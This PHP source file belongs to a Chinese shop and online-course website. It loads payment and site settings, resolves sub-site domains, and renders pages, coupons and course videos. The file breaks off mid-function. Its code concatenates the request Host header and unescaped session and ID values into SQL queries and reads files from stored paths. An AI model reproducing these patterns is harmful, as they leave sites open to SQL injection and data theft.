<?php
$dirx=dirname(dirname(__FILE__))."/";
$config=json_decode(file_get_contents($dirx."conn/config.json"));

if(phpversion()<5.4){
	die("为保证网站安全，请使用PHP5.4或以上版本运行本程序！");
}

if($config->news==""){
	$news_show="true";
}else{
	$news_show=$config->news;
}

if($config->product==""){
	$product_show="true";
}else{
	$product_show=$config->product;
}

if($config->course==""){
	$course_show="true";
}else{
	$course_show=$config->course;
}

$sql="select * from sl_config";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if(mysqli_num_rows($result) > 0) {
		
		$C_title=$row["C_title"];
		$C_keyword=$row["C_keyword"];
		$C_description=$row["C_description"];
		$C_copyright=$row["C_copyright"];
		$C_code=$row["C_code"];
		$C_logo=$row["C_logo"];
		$C_ico=$row["C_ico"];
		$C_kefu=$row["C_kefu"];
		$C_admin=$row["C_admin"];

		$C_newsds=$row["C_newsds"];
		$C_m_logo=$row["C_m_logo"];
		$C_m_position=$row["C_m_position"];
		$C_m_width=$row["C_m_width"];
		$C_m_height=$row["C_m_height"];
		$C_m_transparent=$row["C_m_transparent"];

		$C_alipay_pid=$row["C_alipay_pid"];
		$C_alipay_pkey=$row["C_alipay_pkey"];
		$C_dmf_id=$row["C_dmf_id"];
		$C_dmf_key=$row["C_dmf_key"];
		$C_dmf_key2=$row["C_dmf_key2"];
		$C_qpay_appid=$row["C_qpay_appid"];
		$C_qpay_mchid=$row["C_qpay_mchid"];
		$C_qpay_key=$row["C_qpay_key"];

		$C_ttpay_mchid=$row["C_ttpay_mchid"];
		$C_ttpay_appid=$row["C_ttpay_appid"];
		$C_ttpay_secret=$row["C_ttpay_secret"];

		$C_7pay_pid=$row["C_7pay_pid"];
		$C_7pay_pkey=$row["C_7pay_pkey"];
		$C_codepay_id=$row["C_codepay_id"];
		$C_codepay_key=$row["C_codepay_key"];
		$C_codepay_type=$row["C_codepay_type"];
		$C_epay_url=$row["C_epay_url"];
		$C_epay_id=$row["C_epay_id"];
		$C_epay_key=$row["C_epay_key"];
		$C_epay_type=$row["C_epay_type"];
		$C_payjs_id=$row["C_payjs_id"];
		$C_payjs_key=$row["C_payjs_key"];
		$C_wx_appid=$row["C_wx_appid"];
		$C_wx_appsecret=$row["C_wx_appsecret"];
		$C_wx_mchid=$row["C_wx_mchid"];
		$C_wx_key=$row["C_wx_key"];
		$C_qqid=$row["C_qqid"];
		$C_qqkey=$row["C_qqkey"];

		$C_alicode=$row["C_alicode"];
		$C_wxcode=$row["C_wxcode"];
		$C_kd=$row["C_kd"];

		$C_postage=$row["C_postage"];
		$C_baoyou=$row["C_baoyou"];

		$C_osson=$row["C_osson"];
		$C_oss_id=$row["C_oss_id"];
		$C_oss_key=$row["C_oss_key"];
		$C_oss_domain=$row["C_oss_domain"];
		$C_bucket=$row["C_bucket"];
		$C_region=$row["C_region"];

		$C_buylimit=$row["C_buylimit"];
		$C_viplimit=$row["C_viplimit"];

		$C_wxapp_id=$row["C_wxapp_id"];
		$C_wxapp_key=$row["C_wxapp_key"];
		$C_aliapp_id=$row["C_aliapp_id"];
		$C_aliapp_key=$row["C_aliapp_key"];
		$C_aliapp_key2=$row["C_aliapp_key2"];
		$C_bdapp_id=$row["C_bdapp_id"];
		$C_bdapp_key=$row["C_bdapp_key"];
		$C_bdapp_key2=$row["C_bdapp_key2"];
		$C_qqapp_id=$row["C_qqapp_id"];
		$C_qqapp_key=$row["C_qqapp_key"];
		$C_zjapp_id=$row["C_zjapp_id"];
		$C_zjapp_key=$row["C_zjapp_key"];

		$C_appt=$row["C_appt"];

		$C_alipayon=$row["C_alipayon"];
		$C_wxpayon=$row["C_wxpayon"];
		$C_7payon=$row["C_7payon"];
		$C_qpayon=$row["C_qpayon"];
		$C_dmfon=$row["C_dmfon"];
		$C_codepayon=$row["C_codepayon"];
		$C_payjson=$row["C_payjson"];
		$C_alicodeon=$row["C_alicodeon"];
		$C_wxcodeon=$row["C_wxcodeon"];

		$C_kefuon=$row["C_kefuon"];
		$C_regon=$row["C_regon"];
		$C_qqon=$row["C_qqon"];
		$C_wxon=$row["C_wxon"];
		$C_qqon2=$row["C_qqon2"];
		$C_wxon2=$row["C_wxon2"];
		$C_dxon=$row["C_dxon"];
		$C_rzon=$row["C_rzon"];
		$C_fee=$row["C_fee"];
		$C_rzfee=$row["C_rzfee"];
		$C_rzfeetype=$row["C_rzfeetype"];
		$C_zd=$row["C_zd"];

		$C_fzon=$row["C_fzon"];
		$C_fzk=$row["C_fzk"];
		$C_zzk=$row["C_zzk"];
		$C_fzvip=$row["C_fzvip"];

		$C_punsh=$row["C_punsh"];
		$C_nunsh=$row["C_nunsh"];

		$C_vip1=$row["C_vip1"];
		$C_vip2=$row["C_vip2"];
		$C_vip3=$row["C_vip3"];
		$C_vip6=$row["C_vip6"];
		$C_vip12=$row["C_vip12"];
		$C_vip0=$row["C_vip0"];
		$C_p_discount=$row["C_p_discount"];
		$C_n_discount=$row["C_n_discount"];
		$C_p_discount2=$row["C_p_discount2"];
		$C_n_discount2=$row["C_n_discount2"];
		$C_c_discount=$row["C_c_discount"];
		$C_c_discount2=$row["C_c_discount2"];

		$C_template=$row["C_template"];
		$C_wap=$row["C_wap"];
		$C_beian=$row["C_beian"];
		$C_qrcode=$row["C_qrcode"];
		$C_email=$row["C_email"];
		$C_phone=$row["C_phone"];
		$C_regr=$row["C_regr"];

		$C_authcode=$row["C_authcode"];
		$C_notice=$row["C_notice"];

		$C_mailtype=$row["C_mailtype"];
		$C_mailcode=$row["C_mailcode"];
		$C_smtp=$row["C_smtp"];
		$C_html=$row["C_html"];

		$C_fx1=$row["C_fx1"];
		$C_fx2=$row["C_fx2"];
		$C_fx3=$row["C_fx3"];

		$C_fen1=$row["C_fen1"];
		$C_fen2=$row["C_fen2"];
		$C_fen3=$row["C_fen3"];

		$C_dx1=$row["C_dx1"];
		$C_dx2=$row["C_dx2"];
		$C_dx3=$row["C_dx3"];
		$C_dx4=$row["C_dx4"];
		$C_dx5=$row["C_dx5"];

		$C_memberon=$row["C_memberon"];
		$C_pwdcode=$row["C_pwdcode"];

		$C_mobile=$row["C_mobile"];
    	$C_smssign=$row["C_smssign"];
    	$C_userid=$row["C_userid"];
    	$C_codeid=$row["C_codeid"];
    	$C_codekey=$row["C_codekey"];

		$C_twice=$row["C_twice"];
		$C_uncopy=$row["C_uncopy"];
		$C_slide=$row["C_slide"];
		$C_backup=$row["C_backup"];
		$C_format=$row["C_format"];
		$C_bd_token=$row["C_bd_token"];

		$C_hotwords=$row["C_hotwords"];
		$C_fdomain=$row["C_fdomain"];
		$C_cache=$row["C_cache"];

		$C_contact=getrs("select T_content from sl_text where T_del=0 and T_type=1","T_content");

		$C_domain=$_SERVER['HTTP_HOST'];
		$H_data=$row;
		$H_data["C_contact"]=$C_contact;
	}

	if(www($_SERVER['HTTP_HOST'])!=www($C_fdomain) && $C_fdomain!=""){//分站域名访问
		if(getrs("select M_id from sl_member where M_domain='".$_SERVER['HTTP_HOST']."'","M_id")!=""){//使用绑定的域名
			$fmid=intval(getrs("select M_id from sl_member where M_domain='".$_SERVER['HTTP_HOST']."'","M_id"));
		}else{
			if(strpos($_SERVER['HTTP_HOST'],www($C_fdomain))!==false){//使用自带的域名
				$fmid=intval(splitx($_SERVER['HTTP_HOST'],".",0));
			}else{
				$fmid=0;
			}
		}

		$sql="select * from sl_member where M_id=".$fmid;
		$result = mysqli_query($conn, $sql);
		if (mysqli_num_rows($result) > 0) {
			$row = mysqli_fetch_assoc($result);
			$M_sellertime=$row["M_sellertime"];
			$M_sellerlong=$row["M_sellerlong"];
			$M_show=$row["M_show"];
			$M_product=$row["M_product"];
			$M_news=$row["M_news"];

			if(time()-strtotime($M_sellertime)>$M_sellerlong*86400 && $C_fzk==1){//商家到期
				die("该用户未开通分站功能");
			}else{
				if($row["M_webtitle"]!=""){
					$C_title=$row["M_webtitle"];
					$H_data["C_title"]=$row["M_webtitle"];
				}
				if($row["M_keyword"]!=""){
					$C_keyword=$row["M_keyword"];
					$H_data["C_keyword"]=$row["M_keyword"];
				}
				if($row["M_description"]!=""){
					$C_description=$row["M_description"];
					$H_data["C_description"]=$row["M_description"];
				}
				if($row["M_logo"]!=""){
					$C_logo=$row["M_logo"];
					$H_data["C_logo"]=$row["M_logo"];
				}
				if($row["M_ico"]!=""){
					$C_ico=$row["M_ico"];
					$H_data["C_ico"]=$row["M_ico"];
				}
				if($row["M_qrcode"]!=""){
					$C_qrcode=$row["M_qrcode"];
					$H_data["C_qrcode"]=$row["M_qrcode"];
				}
				if($row["M_beian"]!=""){
					$C_beian=$row["M_beian"];
					$H_data["C_beian"]=$row["M_beian"];
				}
				if($row["M_copyright"]!=""){
					$C_copyright=$row["M_copyright"];
					$H_data["C_copyright"]=$row["M_copyright"];
				}
				if($row["M_mobile"]!=""){
					$C_phone=$row["M_mobile"];
					$H_data["C_phone"]=$row["M_mobile"];
				}
				if($row["M_notice"]!=""){
					$C_notice=$row["M_notice"];
					$H_data["C_notice"]=$row["M_notice"];
				}
				if($row["M_contact"]!=""){
					$C_contact=$row["M_contact"];
					$H_data["C_contact"]=$row["M_contact"];
				}
				if($row["M_code"]!=""){
					$C_code=$row["M_code"];
					$H_data["C_code"]=$row["M_code"];
				}
				if($row["M_kefu"]!=""){
					$C_kefu=$row["M_kefu"];
					$H_data["C_kefu"]=$row["M_kefu"];
				}
				
				if($row["M_template"]!=""){
					$C_template=$row["M_template"];
					$H_data["C_template"]=$row["M_template"];
				}
				if($row["M_wap"]!=""){
					$C_wap=$row["M_wap"];
					$H_data["C_wap"]=$row["M_wap"];
				}

				$priceup=1+$row["M_priceup"]/100;
				if($M_show==1){
					$M_ninfo=" and (N_mid=$fmid or instr('".$M_news."',CONCAT('|',N_id,'|'))>0)";
					$M_pinfo=" and (P_mid=$fmid or instr('".$M_product."',CONCAT('|',P_id,'|'))>0)";
				}else{
					$M_ninfo=" and N_mid=0 ";
					$M_pinfo=" and P_mid=0 ";
				}
			}
		}else{
			//die("该域名[".$_SERVER['HTTP_HOST']."]尚未绑定");
			$priceup=1;
			$fmid=0;
			if($C_zzk==1){
				$M_ninfo=" and N_mid=0 ";
				$M_pinfo=" and P_mid=0 ";
			}else{
				$M_ninfo="";
				$M_pinfo="";
			}
		}
	}else{
		$priceup=1;
		$fmid=0;
		if($C_zzk==1){
			$M_ninfo=" and N_mid=0 ";
			$M_pinfo=" and P_mid=0 ";
		}else{
			$M_ninfo="";
			$M_pinfo="";
		}
	}

if(strpos(strtolower($_SERVER['PHP_SELF']),"api/alipay/notify_url.php")===false && strpos(strtolower($_SERVER['PHP_SELF']),"pay/dmf/notify_url.php")===false && strpos(strtolower($_SERVER['PHP_SELF']),"tpl_edit.php")===false){
	$_POST = array_map('check_input', $_POST);
}

if($_GET["uid"]!=""){
	$_SESSION["uid"]=$_GET["uid"];
}

function p($price){
	global $priceup,$M_show;
	if(is_numeric($price)){
		if($M_show==1){
			return round($price,2);
		}else{
			return round($price*$priceup,2);
		}
	}else{
		return $price;
	}
}

function downpic($path,$url){
global $C_osson;
$name=date("YmdHis").gen_key(3).".jpg";
if(substr($url,0,2)=="//"){
    $url="http:".$url;
}
$url = getbody(str_replace("https://","http://",$url),"","GET");
file_put_contents($path.$name,$url);
if($C_osson==1){
	tooss("../media/".$name);
}
return $name;
}

function check_input($value){
	if (is_array($value)){
		return $value;
	}else{
		return addslashes($value);
	}
}

function text($t){
	global $conn,$id,$C_kefu,$C_keyword,$C_description,$fmid,$C_contact;
	$sql="select * from sl_text where T_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[T_title]",$row["T_title"],$t);
		$t = str_Replace("[T_pic]",pic($row["T_pic"]),$t);
		$t = str_Replace("[T_order]",$row["T_order"],$t);
		if($row["T_keywords"]==""){//如果单页关键词为空，则调用网站关键词
			$t = str_Replace("[T_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[T_keywords]",$row["T_keywords"],$t);
		}
		if($row["T_description"]==""){//如果单页描述为空，则调用网站描述
			$t = str_Replace("[T_description]",$C_description,$t);
		}else{
			$t = str_Replace("[T_description]",$row["T_description"],$t);
		}

		switch($row["T_type"]){
			case 0:
			$T_content=$row["T_content"];
			break;

			case 1:
			$kf=explode("|",$C_kefu);
			for($i=0;$i<count($kf);$i++){
				switch(splitx($kf[$i],"_",1)){
					case "qq":
					$type="QQ";
					$url="http://wpa.qq.com/msgrd?v=3&uin=".splitx($kf[$i],"_",0)."&site=qq&menu=yes";
					break;
					case "ww":
					$type="旺旺";
					$url="http://www.taobao.com/webww/ww.php?ver=3&touid=".splitx($kf[$i],"_",0)."&siteid=cntaobao&status=1&charset=utf-8";
					break;
					case "wx":
					$type="微信";
					$url="javascript:;";
					break;
					case "phone":
					$type="电话";
					$url="tel:".splitx($kf[$i],"_",0);
					break;
					case "email":
					$type="邮箱";
					$url="mailto:".splitx($kf[$i],"_",0);
					break;
				}
				$kefu=$kefu."<b>".splitx($kf[$i],"_",2)."</b> <a href=\"".$url."\">".$type."：".splitx($kf[$i],"_",0)."</a><br>";
			}
			if($fmid==0){
				$T_content="<iframe src=\"conn/mapload.php?C_address=".$row["T_address"]."&C_zb=".$row["T_zb"]."\" scrolling=\"no\" name=\"mapif\" type=\"1\" frameborder=\"0\" height=\"400\" width=\"100%\" style=\"margin: 20px 0\"></iframe><p style=\"font-size:20px;font-weight:bold;\">联系方式：</p><p>".$row["T_content"]."</p><p style=\"font-size:20px;font-weight:bold;margin-top:10px;\">在线客服：</p><p>".$kefu."</p>";
			}else{
				$T_content="<p style=\"font-size:20px;font-weight:bold;\">联系方式：</p><p>".$C_contact."</p><p style=\"font-size:20px;font-weight:bold;margin-top:10px;\">在线客服：</p><p>".$kefu."</p>";

			}
			break;

			case 2:
			$T_content=$row["T_content"].'<link href="css/form.css" rel="stylesheet">
<div class="form_container">
<form action="booksave.php?action=save" method="post">
<div class="right"><input type="text" name="G_title" placeholder="留言标题"></div>
<div class="right"><input type="text" name="G_name" placeholder="您的姓名"></div>
<div class="right"><input type="text" name="G_phone" placeholder="联系电话"></div>
<div class="right"><input type="text" name="G_mail" placeholder="电子邮箱"></div>
<div class="right"><textarea name="G_msg" placeholder="留言内容"></textarea></div>
<div class="right"><iframe src="conn/code_1.php?name=G_code" scrolling="no" frameborder="0" width="100%" height="40"></iframe></div>
<div class="right"><button type="submit">提交留言</button><button type="reset">重新填写</button></div>
</form>
</div>';
			break;
			case 3:
			$sql="select Q_title,Q_order from (select * from sl_quan where Q_del=0 and Q_hide=0 and Q_gettime>now())b group by Q_title,Q_order order by Q_order asc";
			$result = mysqli_query($conn, $sql);
			if (mysqli_num_rows($result) > 0) {
				while($row = mysqli_fetch_assoc($result)) {
					$Q=getrs("select * from sl_quan where Q_title='".$row["Q_title"]."'");
					$rest=getrs("select count(Q_id) as Q_count from sl_quan where Q_del=0 and Q_hide=0 and Q_mid=0 and Q_gettime>now() and Q_title='".$Q["Q_title"]."'","Q_count");

					if($Q["Q_pid"]>0){
						$P_info="".getrs("select * from sl_product where P_id=".$Q["Q_pid"],"P_title")."";
					}else{
						$P_info="店铺优惠券";
					}

					if($Q["Q_discount"]>0){
						$D_info=" 打".((100-$Q["Q_discount"])/10)."折";
						$D_info2=((100-$Q["Q_discount"])/10)."折";
					}else{
						$D_info="";
						$D_info2="";
					}

					if($Q["Q_minuse"]>0){
						$M_info=" 减".$Q["Q_minuse"]."元";
						$M_info2="￥".$Q["Q_minuse"];
					}else{
						$M_info="";
						$M_info2="";
					}
					if($_SESSION["M_id"]!="" && getrs("select * from sl_quan where Q_mid=".intval($_SESSION["M_id"])." and Q_title='".$Q["Q_title"]."'")){
						$btn="<div class=\"quan_get\">已领取</div>";
						$info="您已领取该优惠券，请在".date("Y-m-d",strtotime($Q["Q_usetime"]))."前使用";
					}else{
						if($rest>0){
							$btn="<div class=\"quan_btn\" onclick=\"getquan(".$Q["Q_id"].")\">立即领取</div>";
							$info="优惠券仅剩".$rest."张，请尽快领取！";
						}else{
							$btn="<div class=\"quan_get\">已抢光</div>";
							$info="该优惠券已被抢光，下次早点来哦！";
						}
					}

					$quan=$quan."<div class=\"quan_box\">
					<div class=\"quan_bg\">券</div>
					
					<div style=\"float:right;text-align:right;margin-top:10px\">
					<b>".$Q["Q_title"]."</b><br>满".$Q["Q_money"]."元".$M_info.$D_info."
					</div>
					<div class=\"quan_dis\">".$D_info2.$M_info2."</div>
					<div class=\"quan_info\">$P_info</div>
					<div class=\"\">".date("Y-m-d",strtotime($Q["Q_gettime"]))."前领取 / ".date("Y-m-d",strtotime($Q["Q_usetime"]))."前使用</div>
					".$btn."
					<div style=\"text-align:center;margin-top:5px;\">".$info."<span id=\"login_".$Q["Q_id"]."\"></span></div>
					
					</div>";
				}
			}
			$js='<script>
			function getquan(id){
				$.ajax({
		            url: "conn/f.php?action=getquan&Q_id="+id,
		            success: function(data) {
		                data = JSON.parse(data);
		                if (data.code == "success") {
		                    location.reload();
		                } else {
		                    alert(data.msg);
		                    if(data.msg=="请先登录会员帐号！"){
		                    	$("#login_"+id).html(" <a style=\'color:#fff\' href=\'member/login.php?from="+encodeURIComponent(window.location.href)+"\'>[登录帐号]</a>");
		                    }
		                }
		            }
		        });
			}
			</script>';
			$css="<style>
			@media screen and (max-width:1024px){
			.quan_box{display:inline-block;width:calc(100% - 20px);margin:10px;vertical-align:top;border-radius:10px;padding:10px;background-image: linear-gradient(to left, #FF7A0C,#FF2A14);color:#fff;font-size:12px;position:relative;overflow:hidden}
			}
			@media screen and (min-width:1024px){
			.quan_box{display:inline-block;width:calc(33% - 40px);margin:10px;vertical-align:top;border-radius:10px;padding:10px;background-image: linear-gradient(to left, #FF7A0C,#FF2A14);color:#fff;font-size:12px;position:relative;overflow:hidden}
			}
			.quan_btn{height:30px;line-height:30px;background:#FFF577;border-radius:30px;text-align:center;color:#FF0000;margin-top:10px;cursor:pointer}
			.quan_get{height:30px;line-height:30px;background:#EEE;border-radius:30px;text-align:center;color:#666;margin-top:10px;cursor:pointer}
			.quan_dis{font-size:40px;line-height:70px;white-space: nowrap;text-overflow: ellipsis;overflow: hidden;word-break: break-all;}
			.quan_info{white-space: nowrap;text-overflow: ellipsis;overflow: hidden;word-break: break-all;font-weight:bold}
			.quan_bg{color:#FFF577;font-size:100px;border:solid 8px #FFF577;border-radius:100%;width:180px;height:180px;text-align:center;position:absolute;right:-50px;top:-50px;opacity:0.1;z-index:1;user-select:none}
			</style>";
			$T_content=$css.$js.$quan;

			break;
			case 4:
			$T_content="<iframe src='member/query.php' marginheight='0' marginwidth='0' frameborder='0' scrolling='no' width='100%' height='100%' id='iframepage' name='iframepage' onLoad='iFrameHeight()' style='width:100%;max-width:900px;min-height:560px'></iframe>
<script type='text/javascript' language='javascript'>
function iFrameHeight() {
    var ifm= document.getElementById('iframepage');
    var subWeb = document.frames ? document.frames['iframepage'].document :ifm.contentDocument;
    if(ifm != null && subWeb != null){
        ifm.height = subWeb.body.scrollHeight;
        ifm.style.height= subWeb.body.scrollHeight+'px';
    }
}
window.timer = setInterval('iFrameHeight()', 500);
</script>";
			break;
		}
		$t = str_Replace("[T_content]",editor_oss($T_content),$t);
	}
	return $t;
}

function news($t){
	global $conn,$id,$C_keyword,$C_description;
	$M_id=intval($_GET["M_id"]);
	$sql="select * from sl_nsort where S_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_sub]",$row["S_sub"],$t);
		$t = str_Replace("[S_pic]",pic($row["S_pic"]),$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_order]",$row["S_order"],$t);
		if($row["S_content"]==""){
			$t = str_Replace("[S_content]",$C_description,$t);
		}else{
			$t = str_Replace("[S_content]",$row["S_content"],$t);
		}
		if($row["S_keywords"]==""){
			$t = str_Replace("[S_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[S_keywords]",$row["S_keywords"],$t);
		}
	}else{
		if(intval($M_id)>0){
			$M=getrs("select * from sl_member where M_id=$M_id");
			$M_shop=$M["M_shop"];
			$M_head=$M["M_head"];
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]",$M_shop,$t);
			$t = str_Replace("[S_keywords]",$M_shop,$t);
			$t = str_Replace("[S_content]",$M_shop,$t);
			$t = str_Replace("[S_pic]",pic($M_head),$t);
		}else{
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]","全部文章",$t);
			$t = str_Replace("[S_keywords]","全部文章",$t);
			$t = str_Replace("[S_content]","ALL NEWS",$t);
			$t = str_Replace("[S_pic]",pic("nopic.png"),$t);
		}
		
	}
	return $t;
}



function course($t){
	global $conn,$id,$C_keyword,$C_description;
	$M_id=intval($_GET["M_id"]);
	$sql="select * from sl_usort where S_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[S_sub]",$row["S_sub"],$t);
		$t = str_Replace("[S_pic]",pic($row["S_pic"]),$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[S_order]",$row["S_order"],$t);
		if($row["S_content"]==""){
			$t = str_Replace("[S_content]",$C_description,$t);
		}else{
			$t = str_Replace("[S_content]",$row["S_content"],$t);
		}
		if($row["S_keywords"]==""){
			$t = str_Replace("[S_keywords]",$C_keyword,$t);
		}else{
			$t = str_Replace("[S_keywords]",$row["S_keywords"],$t);
		}
	}else{
		if(intval($M_id)>0){
			$M=getrs("select * from sl_member where M_id=$M_id");
			$M_shop=$M["M_shop"];
			$M_head=$M["M_head"];
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]",$M_shop,$t);
			$t = str_Replace("[S_keywords]",$M_shop,$t);
			$t = str_Replace("[S_content]",$M_shop,$t);
			$t = str_Replace("[S_pic]",pic($M_head),$t);
		}else{
			$t = str_Replace("[S_id]","0",$t);
			$t = str_Replace("[S_title]","全部课程",$t);
			$t = str_Replace("[S_keywords]","全部课程",$t);
			$t = str_Replace("[S_content]","ALL COURSE",$t);
			$t = str_Replace("[S_pic]",pic("nopic.png"),$t);
		}
		
	}
	return $t;
}


function c_video($id,$page){
	global $conn,$C_c_discount,$C_c_discount2,$C_keyword,$C_description;
	if($page==0){
		$page=1;
	}

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=2","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_hid2=$page,H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_hid2,H_mid,H_time) values(2,$id,$page,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$genkey=date('YmdHis').rand(1000,9999);
	
	$sql="select * from sl_course,sl_usort where C_sort=S_id and C_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$C_price=$row["C_price"];

		$lession=explode("||",$row["C_lesson"]);
		for($i=0;$i<count($lession);$i++){
			if(strpos($lession[$i],"_")!==false){
				$l=$l.$lession[$i]."||";
			}
		}

		$ptitle=splitx(splitx($l,"||",($page-1)),"__",0);
		$price=splitx(splitx($l,"||",($page-1)),"__",1);
		$video=splitx(splitx($l,"||",($page-1)),"__",2);

		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[C_title]",$row["C_title"],$t);
		$t = str_Replace("[C_ptitle]",$ptitle." - ".$row["C_title"],$t);
		$t = str_Replace("[C_pic]",pic($row["C_pic"]),$t);
		$t = str_Replace("[C_price]",$row["C_price"],$t);
		$style="<style>
		.u{height:100%;width:100%;min-height:250px;position:relative;background:#f7f7f7;display:block;}
		.u div{height:220px;width:300px;text-align:center;top:calc(50% - 110px);position:absolute;left:calc(50% - 150px);}
		</style>
		<link href=\"https://cdn.bootcdn.net/ajax/libs/video.js/7.10.1/video-js.min.css\" rel=\"stylesheet\">
		<script src=\"https://cdn.bootcdn.net/ajax/libs/video.js/7.10.1/video.min.js\"></script> 
		";

		if(substr($video,0,7)=="<iframe"){
			$v=$video;
		}else{
			if(substr($video,0,6)=="media/" || substr($video,0,7)=="http://" || substr($video,0,8)=="https://"){
				//无需加前缀
			}else{
				$video="media/".$video;
			}
			switch(substr(strrchr($video, '.'), 1)){
				case "txt":
				$v="<div style=\"text-align:left;background:#fff;padding:10px;box-shadow: 0px 0px 10px #666666;height:100%;overflow:auto;width:100%\">".str_replace("\r\n","<br>",file_get_contents("../".$video))."</div>";
				break;
				case "mp3":
				$v="
			<video preload=\"auto\" class=\"video-js vjs-big-play-centered\" id=\"my-video\" poster=\"media/".$row["C_pic"]."\" controls data-setup=\"{}\">
			<source src=\"".$video."\" type=\"video/mp4\" />
			<p class=\"vjs-no-js\"> To view this video please enable JavaScript, and consider upgrading to a web browser that <a href=\"http://videojs.com/html5-video-support/\" target=\"_blank\">supports HTML5 video</a> </p>
			</video>";
				break;
				case "mp4":
				$v="
			<video preload=\"auto\" class=\"video-js vjs-big-play-centered\" id=\"my-video\"  controls data-setup=\"{}\">
			<source src=\"".$video."\" type=\"video/mp4\" />
			<p class=\"vjs-no-js\"> To view this video please enable JavaScript, and consider upgrading to a web browser that <a href=\"http://videojs.com/html5-video-support/\" target=\"_blank\">supports HTML5 video</a> </p>
			</video>";
				break;
			}
		}

		if($price>0 && $C_price>0){//付费
			if($_SESSION["M_id"]==""){//未登录
				$v="<div class=\"u\"><div><p><img src=\"images/v_nologin.png\"></p><p>亲，需要登录才能继续观看～
 </p><p><a href=\"member/login.php?from=".urlencode("../?type=courseinfo&id=".$id."&page=".$page)."\" class=\"btn btn-info\">快速登录</a></p></div></div>";
			}else{
				$O=getrs("select * from sl_orders where O_cid=$id and O_state=1 and (O_content='all' or O_content='".$page."') and O_mid=".intval($_SESSION["M_id"]));
				if($O==""){
					$v="<div class=\"u\"><div><p><img src=\"images/v_nologin.png\"></p><p>亲，需要购买才能继续观看～
 </p><p><a href=\"buy.php?type=courseinfo&id=$id&page=all&genkey=$genkey\" class=\"btn btn-primary\">".$C_price."元购买全套</a> <a href=\"buy.php?type=courseinfo&id=$id&page=$page&genkey=$genkey\" class=\"btn btn-info\">".$price."元购买本节</a></p></div></div>";
				}
			}
		}
		
		$arr=array();
		$arr["video"]=$v.$style;
		$arr["title"]=$ptitle." - ".$row["C_title"];
		return $arr;
	}
}

function courseintro($t){
	global $conn,$id,$C_c_discount,$C_c_discount2,$C_keyword,$C_description;
	$sql="select * from sl_course,sl_usort where C_sort=S_id and C_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[C_id]",$row["C_id"],$t);
		$t = str_Replace("[S_title]",$row["S_title"],$t);
		$t = str_Replace("[C_title]",$row["C_title"],$t);
		$t = str_Replace("[C_content]",$row["C_content"],$t);
		$t = str_Replace("[C_pic]",pic($row["C_pic"]),$t);
		$t = str_Replace("[C_price]",$row["C_price"],$t);

		if($C_c_discount<10){//普通VIP有折扣
			$s="<span style=\"padding: 0 3px;background: #000000;color: #FFCC00;\">VIP￥<span id=\"price_v1\">".p($row["C_price"]*$C_c_discount/10)."</span></span>";
		}
		if($C_c_discount2<$C_c_discount){
			$s=$s."<span style=\"background:#FFCC00;color:#000000;padding: 0 3px;border-radius: 0 5px 5px 0;\">SVIP￥<span id=\"price_v2\">".p($row["C_price"]*$C_c_discount2/10)."<span></span>";
		}
		$s="<a target=\"_blank\" href=\"member/vip.php\" style=\"font-size: 12px;border-radius: 5px;margin-left: 10px;margin-right: 10px;font-weight: bold;border:solid 1px #000000;\">".$s."</a>";
		$t = str_Replace("[C_vip]",$s,$t);

	}
	return $t;
}

function courseinfo($t){
	global $conn,$id,$C_c_discount,$C_c_discount2,$C_keyword,$C_description;
	$page=intval($_GET["page"]);
	if($page==0){
		$page=1;
	}

	if($_SESSION["M_id"]!=""){
	  $H_id=getrs("select * from sl_history where H_hid=$id and H_mid=".$_SESSION["M_id"]." and H_type=2","H_id");
	  if($H_id!=""){
	      mysqli_query($conn,"update sl_history set H_hid2=$page,H_time='".date('Y-m-d H:i:s')."' where H_id=$H_id");
	  }else{
	      mysqli_query($conn, "insert into sl_history(H_type,H_hid,H_hid2,H_mid,H_time) values(2,$id,$page,".$_SESSION["M_id"].",'".date('Y-m-d H:i:s')."')");
	  }
	}

	$genkey=date('YmdHis').rand(1000,9999);
	
	$sql="select * from sl_course,sl_usort where C_sort=S_id and C_id=".$id;
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	if (mysqli_num_rows($result) > 0) {
		$C_price=$row["C_price"];

		$lession=explode("||",$row["C_lesson"]);
		for($i=0;$i<count($lession);$i++){
			if(strpos($lession[$i],"_")!==false){
				$l=$l.$lession[$i]."||";
			}
		}

		$ptitle=splitx(splitx($l,"||",($page-1)),"__",0);
		$price=splitx(splitx($l,"||",($page-1)),"__",1);
		$video=splitx(splitx($l,"||",($page-1)),"__",2);

		$t = str_Replace("[S_id]",$row["S_id"],$t);
		$t = str_Replace("[C_id]",$row["C_id"],$t);
		$t = str_Replace("[C_title]",$row["C_title"],$t);
